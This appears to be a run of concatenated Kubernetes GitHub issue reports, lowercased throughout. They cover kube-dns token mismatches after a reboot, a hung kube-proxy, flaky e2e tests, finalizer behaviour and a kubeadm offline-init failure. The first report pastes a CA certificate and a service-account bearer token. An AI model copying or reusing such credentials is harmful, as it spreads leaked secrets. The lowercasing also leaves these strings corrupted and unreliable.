01:58:44.349774       1 server.go:113  flag: --kubecfg-file=\ \ \r 2017-10-28t01:58:44.350169z i1028 01:58:44.349803       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r 2017-10-28t01:58:44.350199z i1028 01:58:44.349840       1 server.go:113  flag: --log-dir=\ \ \r 2017-10-28t01:58:44.350229z i1028 01:58:44.349874       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r 2017-10-28t01:58:44.350258z i1028 01:58:44.349905       1 server.go:113  flag: --logtostderr=\ true\ \r 2017-10-28t01:58:44.350288z i1028 01:58:44.349939       1 server.go:113  flag: --nameservers=\ \ \r 2017-10-28t01:58:44.350317z i1028 01:58:44.349969       1 server.go:113  flag: --stderrthreshold=\ 2\ \r 2017-10-28t01:58:44.350346z i1028 01:58:44.349999       1 server.go:113  flag: --v=\ 2\ \r 2017-10-28t01:58:44.350375z i1028 01:58:44.350029       1 server.go:113  flag: --version=\ false\ \r 2017-10-28t01:58:44.350405z i1028 01:58:44.350071       1 server.go:113  flag: --vmodule=\ \ \r 2017-10-28t01:58:44.350439z i1028 01:58:44.350267       1 server.go:176  starting skydns server  0.0.0.0:10053 \r 2017-10-28t01:58:44.351618z i1028 01:58:44.351441       1 server.go:198  skydns metrics enabled  /metrics:10055 \r 2017-10-28t01:58:44.351658z i1028 01:58:44.351504       1 dns.go:146  starting endpointscontroller\r 2017-10-28t01:58:44.351689z i1028 01:58:44.351538       1 dns.go:149  starting servicecontroller\r 2017-10-28t01:58:44.352091z i1028 01:58:44.351899       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r 2017-10-28t01:58:44.352148z i1028 01:58:44.351969       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r 2017-10-28t01:58:44.853442z i1028 01:58:44.852028       1 dns.go:170  initialized services and endpoints from apiserver\r 2017-10-28t01:58:44.853593z i1028 01:58:44.852164       1 server.go:129  setting up healthz handler  /readiness \r 2017-10-28t01:58:44.853628z i1028 01:58:44.852261       1 server.go:134  setting up cache handler  /cache \r 2017-10-28t01:58:44.85366z i1028 01:58:44.852301       1 server.go:120  status http port 8081\r \r    10. unable to connect to k8s api after restarting the machine\r  2017-10-28t02:03:40.404857z i1028 02:03:40.404119       1 dns.go:48  version: 1.14.4\r 2017-10-28t02:03:40.409404z i1028 02:03:40.409108       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r 2017-10-28t02:03:40.409669z i1028 02:03:40.409458       1 server.go:113  flag: --alsologtostderr=\ false\ \r 2017-10-28t02:03:40.409926z i1028 02:03:40.409522       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r 2017-10-28t02:03:40.409964z i1028 02:03:40.409567       1 server.go:113  flag: --config-map=\ \ \r 2017-10-28t02:03:40.410004z i1028 02:03:40.409601       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r 2017-10-28t02:03:40.410035z i1028 02:03:40.409634       1 server.go:113  flag: --config-period=\ 10s\ \r 2017-10-28t02:03:40.410066z i1028 02:03:40.409673       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r 2017-10-28t02:03:40.410159z i1028 02:03:40.409702       1 server.go:113  flag: --dns-port=\ 10053\ \r 2017-10-28t02:03:40.41019z i1028 02:03:40.409740       1 server.go:113  flag: --domain=\ cluster.local.\ \r 2017-10-28t02:03:40.410221z i1028 02:03:40.409781       1 server.go:113  flag: --federations=\ \ \r 2017-10-28t02:03:40.412168z i1028 02:03:40.409818       1 server.go:113  flag: --healthz-port=\ 8081\ \r 2017-10-28t02:03:40.412227z i1028 02:03:40.409850       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r 2017-10-28t02:03:40.412614z i1028 02:03:40.409881       1 server.go:113  flag: --kube-master-url=\ \ \r 2017-10-28t02:03:40.412682z i1028 02:03:40.409918       1 server.go:113  flag: --kubecfg-file=\ \ \r 2017-10-28t02:03:40.412715z i1028 02:03:40.409945       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r 2017-10-28t02:03:40.412748z i1028 02:03:40.409979       1 server.go:113  flag: --log-dir=\ \ \r 2017-10-28t02:03:40.412778z i1028 02:03:40.410011       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r 2017-10-28t02:03:40.412808z i1028 02:03:40.410040       1 server.go:113  flag: --logtostderr=\ true\ \r 2017-10-28t02:03:40.412838z i1028 02:03:40.410071       1 server.go:113  flag: --nameservers=\ \ \r 2017-10-28t02:03:40.412868z i1028 02:03:40.410098       1 server.go:113  flag: --stderrthreshold=\ 2\ \r 2017-10-28t02:03:40.412898z i1028 02:03:40.410125       1 server.go:113  flag: --v=\ 2\ \r 2017-10-28t02:03:40.41306z i1028 02:03:40.410152       1 server.go:113  flag: --version=\ false\ \r 2017-10-28t02:03:40.413091z i1028 02:03:40.410192       1 server.go:113  flag: --vmodule=\ \ \r 2017-10-28t02:03:40.413122z i1028 02:03:40.410450       1 server.go:176  starting skydns server  0.0.0.0:10053 \r 2017-10-28t02:03:40.413152z i1028 02:03:40.411801       1 server.go:198  skydns metrics enabled  /metrics:10055 \r 2017-10-28t02:03:40.413193z i1028 02:03:40.411870       1 dns.go:146  starting endpointscontroller\r 2017-10-28t02:03:40.413228z i1028 02:03:40.411912       1 dns.go:149  starting servicecontroller\r 2017-10-28t02:03:40.414387z i1028 02:03:40.412400       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r 2017-10-28t02:03:40.414803z i1028 02:03:40.414524       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r 2017-10-28t02:03:40.861079z e1028 02:03:40.856504       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: the server has asked for the client to provide credentials  get endpoints \r 2017-10-28t02:03:40.861193z e1028 02:03:40.860762       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: the server has asked for the client to provide credentials  get services \r 2017-10-28t02:03:40.916298z i1028 02:03:40.915930       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r   _    2017-10-28t02:03:41.455912z i1028 02:03:41.455531       1 dns.go:173    waiting for services and endpoints to be initialized from apiserver...\r 2017-10-28t02:03:41.880323z e1028 02:03:41.876786       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: the server has asked for the client to provide credentials  get endpoints \r 2017-10-28t02:03:41.888482z e1028 02:03:41.885149       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: the server has asked for the client to provide credentials  get services   _  \r 2017-10-28t02:03:41.939219z i1028 02:03:41.919743       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r 2017-10-28t02:03:42.413522z i1028 02:03:42.413041       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r 2017-10-28t02:03:42.89888z e1028 02:03:42.898554       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: the server has asked for the client to provide credentials  get services \r 2017-10-28t02:03:42.904878z e1028 02:03:42.904662       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: the server has asked for the client to provide credentials  get endpoints \r    11.kube-apiserver error log\r 10月 28 10:05:05 manager-node kube-apiserver 1217 : e1028 10:05:05.945187    1217       authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error   \r 10月 28 10:05:05 manager-node kube-apiserver 1217 : e1028 10:05:05.947755    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:06 manager-node kube-apiserver 1217 : e1028 10:05:06.965682    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:06 manager-node kube-apiserver 1217 : e1028 10:05:06.966583    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:07 manager-node kube-apiserver 1217 : e1028 10:05:07.977580    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:07 manager-node kube-apiserver 1217 : e1028 10:05:07.978777    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:08 manager-node kube-apiserver 1217 : e1028 10:05:08.988559    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:08 manager-node kube-apiserver 1217 : e1028 10:05:08.988700    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:09 manager-node kube-apiserver 1217 : e1028 10:05:09.998365    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r 10月 28 10:05:10 manager-node kube-apiserver 1217 : e1028 10:05:10.001677    1217 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error\r    11.i found that the kube-dns token was not updated after reboot ，but ca.crt has been updated\r     before reboot\r ca.crt:\r \r -----begin certificate-----\r miidvzccaj+gawibagibatanbgkqhkig9w0baqsfadakmsiwiaydvqqddbkxotiu\r mty4ljiwni4xneaxnta5mdkzmza2mb4xdte3mtaynza4mzuwnloxdte4mtaynza4\r mzuwnlowjdeimcaga1ueawwzmtkylje2oc4ymdyumtramtuwota5mzmwnjccasiw\r dqyjkozihvcnaqebbqadggepadccaqocggebam92go1twxvvwtmxhan+zffv2wxd\r vgcxsbkwqthhgdlt8mrxxmz2fjv+pydbv9+hdbgrnosrncun5vlofdgmuslibygu\r ve7z3tmtas5schmdeenpw5mgdnxce6pbu37ymvuvweklkngmxtwz7kkym/0fvf4d\r pxoarmzngpm/os5+bnbdwglnq6ovlyfztvm/bsei7cc0pnubvfdnzucnzbjz3gvg\r lt0/hinfobi9e8+z6p1sipokevzfjzw9jb0gz5dwcy4cqxim8cuc/buwgty9nojs\r iko8+8qpptrgpbxd1lxdmdie1hgdy75tryjknavz8odj2upekiqb/ipwf/kcawea\r aaobkzcbkdaobgnvhq8baf8ebamcaqqwewydvr0lbawwcgyikwybbquhawewdwyd\r vr0taqh/bauwaweb/zbybgnvhreeutbpghzrdwjlcm5ldgvzlmrlzmf1bhquc3zj\r ghjrdwjlcm5ldgvzlmrlzmf1bhsccmt1ymvybmv0zxoccwxvy2fsag9zdicewkjo\r docerbeaatanbgkqhkig9w0baqsfaaocaqeau/n24kmnlmuy8rikmnhril7r+ehb\r rs2e0v1tjnxw9h3qybn9qnul5z4bt9bmndq5qo91nlp3ucib54mknlzl3tsexwva\r ht6ljgnjjbjvsk95mdjqad0x6lyctqqfpy86odnkwyf5unjrleic0xneh5eyjpco\r 6hnqbdbj/d2ashzyj4uf7ietleabt4qmrvxhz1o02/e6xf0qd+70mffvcvt4rr0j\r ss4f6qpiebjly8agdqfpr+u+548lcxgq0usvxj8k93dpyta5mn6mxetrfznji7cc\r 7u8xtwtf/fb/yfsyr9xrlwd17wznki6zgjwgbecqmbdcuh7kunu83weryq==\r -----end certificate-----\r \r namespace:\r \r kube-system\r \r token:\r \r eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwhtmteziiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioiizztlhzwzjyy1iywyzltexztctyjdkms0wmdizowuwm2m2owuilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.wit7bui5ekwtihtdrpg0rynaivpgf0793xanpety960kbywc_hgw1qno6gb56efxgrhdtr0z6mkozjcf6_6lytsjyhypvzedbmrmr9n4hp76j9yboe1p85tini7l2oabjjewsjifbslhav470uf1qpwli-_scptkfca1vgrkcmrdmintadeicf9-g4ymj_o1ngzjuaxaeimyspifk_cvp59hs28qcifha26wu4sie3vat6kzqavprt1eu-khoins7chd1um8563p-vn6gripy6ailsttuqoyg5p92fb71fkfjduy_9bwfx2w4e4c8mpv6vvemola-7o2lrxkk7st1g\r \r     after reboot\r  ca.crt:\r \r -----begin certificate-----\r miidvzccaj+gawibagibatanbgkqhkig9w0baqsfadakmsiwiaydvqqddbkxotiu\r mty4ljiwni4xneaxnta5mtu0mzc0mb4xdte3mtayodaxmzi1nfoxdte4mtayodax\r mzi1nfowjdeimcaga1ueawwzmtkylje2oc4ymdyumtramtuwote1ndm3ndccasiw\r dqyjkozihvcnaqebbqadggepadccaqocggebanfadspwuljgspchfrmt5iqstz5f\r xgjflyp2+hdfk0yvjgj39r4ovtnnh9zqlqxrrgk0/mkomzfmt2jb7vt/ldxsjiun\r gxf+4037vj9lte9zb5le3dadm0oksvl1rrqufsrhgoa6vzzvos7dtmu0c3phswdw\r /vfcxtatyi1vioeffcslscxrvesfoun2hezvkrq6xnsl/jrkrbe4tdfjnyolxv7u\r dqrztnsovukeiqtcys+fkf3sfad2ei3sj+extig4ei5ookyp3yt1fqrwmwqb+j2/\r mpubz2hwbisru5fkuftuut5etxheleienw3kcnenlosjae4upksc5q7ghcecawea\r aaobkzcbkdaobgnvhq8baf8ebamcaqqwewydvr0lbawwcgyikwybbquhawewdwyd\r vr0taqh/bauwaweb/zbybgnvhreeutbpghzrdwjlcm5ldgvzlmrlzmf1bhquc3zj\r ghjrdwjlcm5ldgvzlmrlzmf1bhsccmt1ymvybmv0zxoccwxvy2fsag9zdicewkjo\r docerbeaatanbgkqhkig9w0baqsfaaocaqeaf7a+hjtmxngzxronzwsfztniqf0b\r ixprrtlwq7fzzzlifvnqets+kz7i8krwwvgi9abecd3ku1jq56tek/sgozkgd+u/\r 0jurbgoigndwn5c85gobq1sspj8njeme3p/1qyumwt7rviplweiwuw+gglqxny6w\r 738jnl47hwmfoguf+ibhftvb9qr92m+eq+m0gdxui91qnoxs8o+jzdfrbmrol6vh\r xtsclfdlwrrjd91vfcgiv6ll/pjtffk0dot5g5q0qkpl2kn5q0u+atyjeeqcksyb\r p+saq2hjlfjcla7vjaijbewzcuxglt14r1obbkztrcybyvpllixw3fpjsw==\r -----end certificate-----\r \r namespace:\r \r kube-system\r \r token:\r \r eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwhtmteziiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioiizztlhzwzjyy1iywyzltexztctyjdkms0wmdizowuwm2m2owuilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.wit7bui5ekwtihtdrpg0rynaivpgf0793xanpety960kbywc_hgw1qno6gb56efxgrhdtr0z6mkozjcf6_6lytsjyhypvzedbmrmr9n4hp76j9yboe1p85tini7l2oabjjewsjifbslhav470uf1qpwli-_scptkfca1vgrkcmrdmintadeicf9-g4ymj_o1ngzjuaxaeimyspifk_cvp59hs28qcifha26wu4sie3vat6kzqavprt1eu-khoins7chd1um8563p-vn6gripy6ailsttuqoyg5p92fb71fkfjduy_9bwfx2w4e4c8mpv6vvemola-7o2lrxkk7st1g\r    12.when i use the following command, kube-dns works normally,new ca.crt was produced according to the new token\r  kubectl delete secret kube-dns-token-l8f5j -n kube-system\r  kubectl delete pods kube-dns-1062256679-d303w -n kube-system\r \r \r  /area api\r /area apiserver\r /area controller-manager\r \r

this is a follow-up of https://docs.google.com/a/google.com/document/d/1n1pbov7odpg_u-kilhcswyh4vo-amlyqdfih64dyeek/edit?usp=sharing.\r \r we could even put the complete command line of the generator in that line.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r creating a nlb service with a custom  loadbalancersourceranges  is not respected\r \r   what you expected to happen  :\r \r the security group should be created with the defined range and not  0.0.0.0/0

 \r   what happened  :\r \r right now it's possible to have  gitrepo  volume which is nice. it mounts an empty directory and clones a git repository into it for a pod to use\r \r   what you expected to happen  :\r \r it will be wonderful to be able to have a volume from a remote archive. kubernetes can mount an empty directory, download an archive by url and unarchive it for a pod to use. config can look like this:\r \r    \r volumes:\r   - name: archive-volume\r     remotearchive:\r       url: \ https://github.com/me/my-repo/archive/v1.0.0.tar.gz\ \r       format: \ targz\ \r       shasum: \ 22f1d8406d464b0c0874075539c1f2e96c253775\ \r    \r \r it can support different formats like tar, targz and zip.

which jobs are flaking  :\r  ci-kubernetes-e2e-gce-cos-k8sbeta-default   in  gce-cos-1.14-default   https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default&width=20 \r \r   which test s  are flaky  :\r   sig-storage  emptydir volumes pod should support shared volumes between containers \r this test flakes about 10% of the time, with a variety of errors; the job as a whole is among the flakiest  not only due to this test , with a flake rate of ~80%. as  gce-cos-1.14-default  is release-blocking, having steady tests within that job is important to give a strong signal on whether the release is good to ship.\r \r   reason for failure  :\r from most to least common:\r \r    \r  error: unable to upgrade connection: container not found  \ busybox-main-container\  \r    \r \r    \r error: internal error occurred: error executing command in container: container not running  0053b22533db4c445b91a87ce2228319a513b143824d5371bbbd38594bd18043 \r    \r \r    \r error: internal error occurred: error executing command in container: error response from daemon: no such exec instance '8e373c1c575c1e09071793ee512cf4703e3d366efed0f25cbf15d4172eb6915d' found in daemon\r    \r \r    \r expected error:\r     < errors.errorstring | 0xc4206e55f0>: {\r         s: \ pod ran to completion\ ,\r     }\r     pod ran to completion\r not to have occurred\r    \r and others that occur less frequently  triage link below .\r \r   anything else we need to know  :\r    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-default%24&test=emptydir%20volumes%20pod%20should%20support%20shared%20volumes%20between%20containers \r   part of https://github.com/kubernetes/kubernetes/issues/74960\r \r  /remove-kind failing-test\r  /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent @spiffxp \r

for most built-in resources, if the object deletion is blocked by finalizers, the update request that removes the last pending finalizer causes the apiserver to delete the object.\r \r the logic is enforced by the generic storage's  update    function, specifically, by the  shoulddeleteduringupdate  https://github.com/kubernetes/kubernetes/blob/4d3d153210c0788b8e188c467d31061470d8c042/staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store.go l394-l406  function. it checks if finalizers are deleted, and if the metadata.deletiongracefulperiods was set to 0  by the first delete request .\r \r  namepaces  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/namespace/storage/storage.go l125  and  crd  https://github.com/kubernetes/kubernetes/blob/4d3d153210c0788b8e188c467d31061470d8c042/staging/src/k8s.io/apiextensions-apiserver/pkg/registry/customresourcedefinition/etcd.go l70   storage overrides the generics storage's  delete    function. they don't set the  deletiongracefulperiods , so namespaces and crds do not have this delete-on-update behavior.\r \r i can think of two alternative fixes.\r \r 1. relaxing the  shoulddeleteduringupdate \r       let  shoulddeleteduringupdate  return true if  finalizers are removed by the update  &&  deletiongracefulseconds was set to 0 or was nil  &&  deletiontimestamp was not nil . \r       we would also need to override the namespace storage's update   function, to let it additionally check the  namespace.spec.finalizers  in its  shoulddeleteduringupdate .\r \r 2. only fixing the behavior of crds. let the  delete    function of the crd storage sets crd's deletiongracefulperiod to 0 on first delete. we'll leave namespaces alone, as its behavior has been like that for years.\r \r cc @liggitt \r ref https://github.com/kubernetes/kubernetes/pull/76346 discussion_r284028314\r  \r

without rehashing my initial issue post:   https://github.com/kubernetes/dashboard/issues/1316  i have some sort of problem, apparently, related to weave?

similarly to monitoring, logging should be configured just by  logging_destination . we should remove  enable_{cluster, node}_logging  env variables.

kubernetes version    use  kubectl version  :\r kubernetes v1.4.3+coreos.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r   6 bare-metal nodes\r -   os    e.g. from /etc/os-release :\r ubuntu 16.04.1 lts  xenial xerus \r -   kernel    e.g.  uname -a  :\r linux node1 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kargo\r -   others  :\r calico 0.21\r \r   what happened  :\r there is a pod  openstack keystone  that runs on node1 and a service associated with it. initially the service is reachable from all nodes, e.g. request to http://keystone.ccp:5000/ replies with valid http response.\r \r keystone pod is restarted, as result the pod gets different ip address, dns record is updated to point to new address. however the service is not reachable from node2. \r \r the reason is in iptables rules not being updated:\r \r _good node_\r    \r -a kube-sep-mmrsuy2ht6so3jn6 -s 10.247.61.227/32 -m comment --comment \ ccp/keystone:5000\  -j kube-mark-masq\r -a kube-sep-mmrsuy2ht6so3jn6 -p tcp -m comment --comment \ ccp/keystone:5000\  -m tcp -j dnat --to-destination 10.247.61.227:5000 \r    \r _bad node_\r    \r -a kube-sep-2fvn6ov734acy4g4 -s 10.247.61.245/32 -m comment --comment \ ccp/keystone:5000\  -j kube-mark-masq\r -a kube-sep-2fvn6ov734acy4g4 -p tcp -m comment --comment \ ccp/keystone:5000\  -m tcp -j dnat --to-destination 10.247.61.245:5000\r    \r and the service:\r    \r vagrant@node1:~$ kubectl get endpoints \r name              endpoints                   age\r keystone          10.247.61.227:5000          7d\r    \r kube-proxy pod is running on all nodes and in ready state:\r    \r root@node1:~  kubectl --namespace kube-system get pods\r name                                    ready     status    restarts   age\r kube-proxy-node1                        1/1       running   0          12d\r kube-proxy-node2                        1/1       running   0          12d\r kube-proxy-node3                        1/1       running   0          12d\r    \r \r lsof output shows that kube-proxy process has established connections to http://127.0.0.1:8080  master address  and a number of open listen sockets. \r \r however strace shows that the process and all of its threads are in futex, the typical picture is:\r    \r  pid 12405  futex 0x7594868, futex_wait, 0, {0, 100000}  = -1 etimedout  connection timed out \r  pid 12405  futex 0x7594868, futex_wait, 0, {0, 100000}  = -1 etimedout  connection timed out \r  pid 12405  futex 0x7594868, futex_wait, 0, {0, 100000}  = -1 etimedout  connection timed out \r  pid 12370  <... select resumed>        = 0  timeout \r  pid 12405  futex 0x7594868, futex_wait, 0, {0, 100000} <unfinished ...>\r  pid 12370  select 0, null, null, null, {0, 10000} <unfinished ...>\r  pid 12405  <... futex resumed>         = -1 etimedout  connection timed out \r  pid 12405  futex 0x7594868, futex_wait, 0, {0, 100000}  = -1 etimedout  connection timed out \r    \r \r the last messages in log file are:\r    \r {\ log\ :\ e1206 09:41:58.866601       1 proxier.go:1247  failed to execute iptables-restore: exit status 1  iptables-restore: line 4 failed\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t09:41:58.86667315z\ }\r {\ log\ :\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t09:41:58.866690737z\ }\r {\ log\ :\ e1206 09:42:49.047532       1 proxier.go:1247  failed to execute iptables-restore: exit status 1  iptables-restore: line 4 failed\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t09:42:49.047652912z\ }\r {\ log\ :\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t09:42:49.047670622z\ }\r {\ log\ :\ e1206 10:51:11.788331       1 proxier.go:1247  failed to execute iptables-restore: exit status 1  iptables-restore: line 4 failed\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t10:51:11.788482453z\ }\r {\ log\ :\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-12-06t10:51:11.788506419z\ }\r    \r note that logs from other  live  kube-proxy also have same complains about iptables-restore, so it may be not the issue.\r \r \r   what you expected to happen  :\r kubernetes should somehow detect that kube-proxy hangs and stopped processing events. i'd expect automatic issue detection and restart of kube-proxy pod \r \r   how to reproduce it    as minimally and precisely as possible :\r the issue happened under very low load, overall number of pods is about 100, and about 20 services. \r

@pwittrock you are listed as the test owner in test_owners.csv so directing this at you for now.\r \r most of the deployment e2e tests are failing in the upgrade test jobs. see, for example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-latest-upgrade-cluster/479\r \r common error message:\r \r expected an error to have occurred.  got:\r     <nil>: nil\r \r \r note that the 1.6 release upgrade test jobs are not set up yet, but i'm trying to get ahead of issues by looking at the jobs running off master. thanks!\r \r

we are trying to use openapi in kubectl in 2 aspects:\r - using openapi for kubectl validation in stead of using swagger, since we are deprecating swagger 1.2 ref:  38637 and  44589   even though client-side validation will be removed in 1-2 releases  39434 \r - using openapi for calculating the strategic merge patch  apply and edit  instead of using baked-in types. this will solve a lot of version skew issues when patching.\r \r we will introduce --enable-openapi, default to false. i'm open to other namings.\r if the user set it to false or kubectl fails to fetch openapi from the server, kubectl will use swagger and baked-in types.\r \r the kubectl commands doing validation including:\r - rollingupdate\r - edit\r - apply\r - replace\r - create\r - convert\r

many sh scripts, including scripts that function as pre-submit tests, e.g.\r \r    \r ls hack/verify- .sh\r    \r and the results of \r \r    \r find ./ -name \ test- .sh\  \r    \r \r are not declared in  build  files and thus don't accrue bazel benefits like fast cached analysis of deps, hermetic parallel test runs, etc.\r \r for some tests is may be sufficient to simply define  sh_test  rules in the proper build files so that they can run via  make bazel-test  or  bazel test {whatever}/... .\r \r for others, however, work will have to be done to establish, via bazel  sh_library  and data dep rules, the proper environments to run these scripts as hermetic tests.  in particular, bazel creates sh script \ binaries\  in bazel-bin that assume deps scattered under  $runfiles   and sets that var appropriately in tests, etc. , but the scripts source their deps via relative paths from  $bash_source , which might not work in the bazel env.\r \r as a stopgap - to at least start using  sh_library  rules, establish dependencies, and obey visibility rules -  things that are actually tests can be temporarily defined as a  sh_binary , until time is available to get the \ binary\  to run as a test.  in these cases, please add a todo with a pointer to this issue.\r \r   is this a bug report or feature request?    choose one : \r \r feature request / internal cleanup\r

see https://github.com/kubernetes/kubernetes/pull/53833 issuecomment-344009912\r \r we have to do this before dynamic config leaves alpha. this requires some changes to how dynamic config checkpoints payloads, so defering this work for now to focus on https://github.com/kubernetes/kubernetes/issues/55644 instead.

i noticed a device-plugin model was described by the document below:\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/resource-management/device-plugin.md\r and the document says:\r \r > the targeted devices include gpus, high-performance nics, fpgas, infiniband, storage devices, and other similar computing resources that require vendor specific initialization and setup. \r \r so, the manage of gpu should be part of device-plugin.\r however, currently the way to support gpu is adding kubelet accelerators option.\r and the way to support device-plugin feature is adding kubelet deviceplugins option.\r \r is this temporary? should move gpu support option into deviceplugins?\r  \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  0\r   what happened  :\r i installed kubectl, kubernetes-cni, kubelet, kubeadm  all version 1.10.3-00_amd64, except cni, which is 0.6.0-00_amd64.\r i also loaded all required docker images, so that kubeadm shouldn't have to pull them\r \r i ran  kubeadm init --pod-network-cidr=10.244.0.0/16 --kubernetes-version=v1.10.3  while offline, it hung at the step \r  this might take a minute or longer if the control plane images have to be pulled.  and after a while output the error:\r    \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \t- either there is no internet connection, or imagepullpolicy is set to \ never\ ,\r \t  so the kubelet cannot pull or find the following control plane images:\r \t\t- k8s.gcr.io/kube-apiserver-amd64:v1.10.3\r \t\t- k8s.gcr.io/kube-controller-manager-amd64:v1.10.3\r \t\t- k8s.gcr.io/kube-scheduler-amd64:v1.10.3\r \t\t- k8s.gcr.io/etcd-amd64:3.1.12  only if no external etcd endpoints are configured \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r    \r \r running  docker images  gives:\r    \r repository                                 tag                 image id            created             size\r k8s.gcr.io/kube-apiserver-amd64            v1.10.3             e03746fe22c3        3 weeks ago         225mb\r k8s.gcr.io/kube-controller-manager-amd64   v1.10.3             40c8d10b2d11        3 weeks ago         148mb\r k8s.gcr.io/kube-scheduler-amd64            v1.10.3             353b8f1d102e        3 weeks ago         50.4mb\r k8s.gcr.io/etcd-amd64                      3.1.12              52920ad46f5b        3 months ago        193mb\r k8s.gcr.io/pause-amd64                     3.1                 da86e6ba6ca1        5 months ago        742kb\r    \r \r running  docker ps -a  gives no containers, indicating nothing has started or crashed.\r \r   what you expected to happen  :\r kubeadm should initialize a cluster without needing the internet or pulling images, as they already exist  as shown above .\r \r   how to reproduce it  as minimally and precisely as possible   :\r - install kubeadm ,kubectl, kubectl.\r - load k8s.gcr.io/kube-apiserver-amd64:v1.10.3, k8s.gcr.io/kube-controller-manager-amd64:v1.10.3, 